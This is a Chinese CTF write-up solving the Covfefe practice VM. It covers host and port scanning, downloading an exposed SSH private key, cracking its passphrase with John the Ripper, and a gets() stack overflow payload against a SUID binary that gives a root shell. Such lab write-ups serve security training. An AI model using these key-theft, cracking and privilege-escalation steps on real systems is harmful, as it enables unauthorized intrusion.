ssh私钥泄露
一、靶机
1、下载安装
链接
打开方式为VMware Workstation,主机和靶机网络适配器设为相同模式,我的是NAT,有些网络下桥接显示不了IP(宿舍校园网无线和有线显示不了,教学区校园网ip显示不同,不懂
参考:CTF靶场系列————SSH-私钥泄露 | m0re的小站
2、准备
靶机开启就行,不需要登入,这一步看情况进行
(1)重置靶场密码
重启主机,按e,进入如下界面
找到linux开头一行,末尾添加init=/bin/bash
,按Crtl+x完成输入
mount -o rw,remount /
passwd root // 重置密码
成功后重启虚拟机,以root用户进入
(2)查看IP
输入ip a
,查看靶机IP地址 192.168.130.130
二、信息搜集
1、探测靶机IP
- arp-scan
arp-scan -l
- netdiscover
ip a // 查看主机ip 192.168.130.128
netdiscover -r 192.168.130.128/24 // -r ip/mask,8/16/24分别表示探索子网的B/C/D段
出现多个ip无法区分,逐一nmap扫描,一般是有开放ssh服务
2、端口与服务扫描
nmap -sV 192.168.130.130 // -sV 探测开放端口以确定服务/版本信息
发现22-ssh、80-nginx、31337-python,开启了ssh和http服务
常用端口为0到1023,分析特殊端口31337,访问对应网站 192.168.130.130:31337,没有文件
3、目录扫描
- dirsearch
dirsearch -u 192.168.130.130:31337
发现robots.txt、/.ssh/id_rsa(私钥)和/.ssh/authorized_keys(认证关键字)等
参考:id_rsa 与 id_rsa.pub 文件详解 - fengMisaka - 博客园 (cnblogs.com)
- dirb
dirb http://192.168.130.130:31337
访问robots.txt
依次访问以下路径,在http://192.168.130.130:31337/taxex/中看到第一个flag flag1{make_america_great_again}
使用网站访问下载/.ssh/id_rsa和/.ssh/authorized_keys,发现id_rsa需密码打开,authorized_keys看到疑似账户名simon
// authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzG6cWl499ZGW0PV+tRaOLguT8+lso8zbSLCzgiBYkX/xnoZx0fneSfi93gdh4ynVjs2sgZ2HaRWA05EGR7e3IetSP53NTxk5QrLHEGZQFLId3QMMi74ebGBpPkKg/QzwRxCrKgqL1b2+EYz68Y9InRAZoq8wYTLdoUVa2wOiJv0PfrlQ4e9nh29J7yPgXmVAsy5ZvmpBp5FL76y1lUblGUuftCfddh2IahevizLlVipuSQGFqRZOdA5xnxbsNO4QbFUhjIlA5RrAs814LuA9t2CiAzHXxjsVW8/R/eD8K22TO7XEQscQjaSl/R4Cr1kNtUwCljpmpjt/Q4DJmExOR simon@covfefe
三、漏洞利用
1、破解秘钥
尝试使用私钥进行ssh连接
ssh -i id_rsa simon@192.168.130.130
失败,发现需输入秘钥id_rsa密码
locate ssh2john // 查看路径 /usr/share/john/ssh2john.py
python /usr/share/john/ssh2john.py id_rsa > rsacrack // 将秘钥信息转化为john可识别信息
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rule rsacrack // 利用字典破解
john rsacrack // 其他方式,默认情况使用自带字典 /usr/share/john/password.lst
得到密码 starwars
另外,john对一个文件只能爆破一次,再爆破会报错(哭
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
No password hashes left to crack (see FAQ)
需要查看上一次爆破结果可用以下命令
john --show filename
参考:使用john进行密码爆破
2、ssh连接
ssh -i id_rsa simon@192.168.130.130
报错为文件权限过高问题
修改权限为600
chmod 600 ./*
ls -la
重新连接即可
参考:Linux文件权限设置 - EnochLin - 博客园 (cnblogs.com)
4、提升权限
ls、pwd、whoami查看相关信息,发现root下有个flag.txt,但无权查看,还有一个read_message.c(下面会用到
从根目录查找拥有suid特殊权限的文件,并重定向错误信息,防止打断查找
find / -perm -4000 2>/dev/null
找到/usr/local/bin/read_message可执行文件,且具有root权限
打开上面找到的源码read_message.c,发现第二个flag flag2{use_the_source_luke}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// You're getting close! Here's another flag:
// flag2{use_the_source_luke}
int main(int argc, char *argv[]) {
char program[] = "/usr/local/sbin/message";
char buf[20];
char authorized[] = "Simon";
printf("What is your name?\n");
gets(buf);
// Only compare first five chars to save precious cycles:
if (!strncmp(authorized, buf, 5)) {
printf("Hello %s! Here is your message:\n\n", buf);
// This is safe as the user can't mess with the binary location:
execve(program, NULL, NULL);
} else {
printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized);
exit(EXIT_FAILURE);
}
}
源码存在栈溢出问题,输入Simon+15个字符+/bin/sh,即Simonaaaaaaaaaaaaaaa/bin/sh,用/bin/sh覆盖program值运行,提权成功,查看flag.txt,得到 flag3{das_bof_meister}
You did it! Congratulations, here's the final flag:
flag3{das_bof_meister}
参考:对Linux|suid提权的一些总结 - FreeBuf网络安全行业门户
四、总结
- 探测靶机ip,扫描端口与服务,着重关注http服务的特殊端口
- 扫描目录下隐藏文件
- 通过rsa私钥、认证关键字获取连接ssh方式与用户名,利用john爆破密码
- suid提权,寻找具有root权限的可执行文件
- 一般在root文件夹下有关键信息
- pwn的栈溢出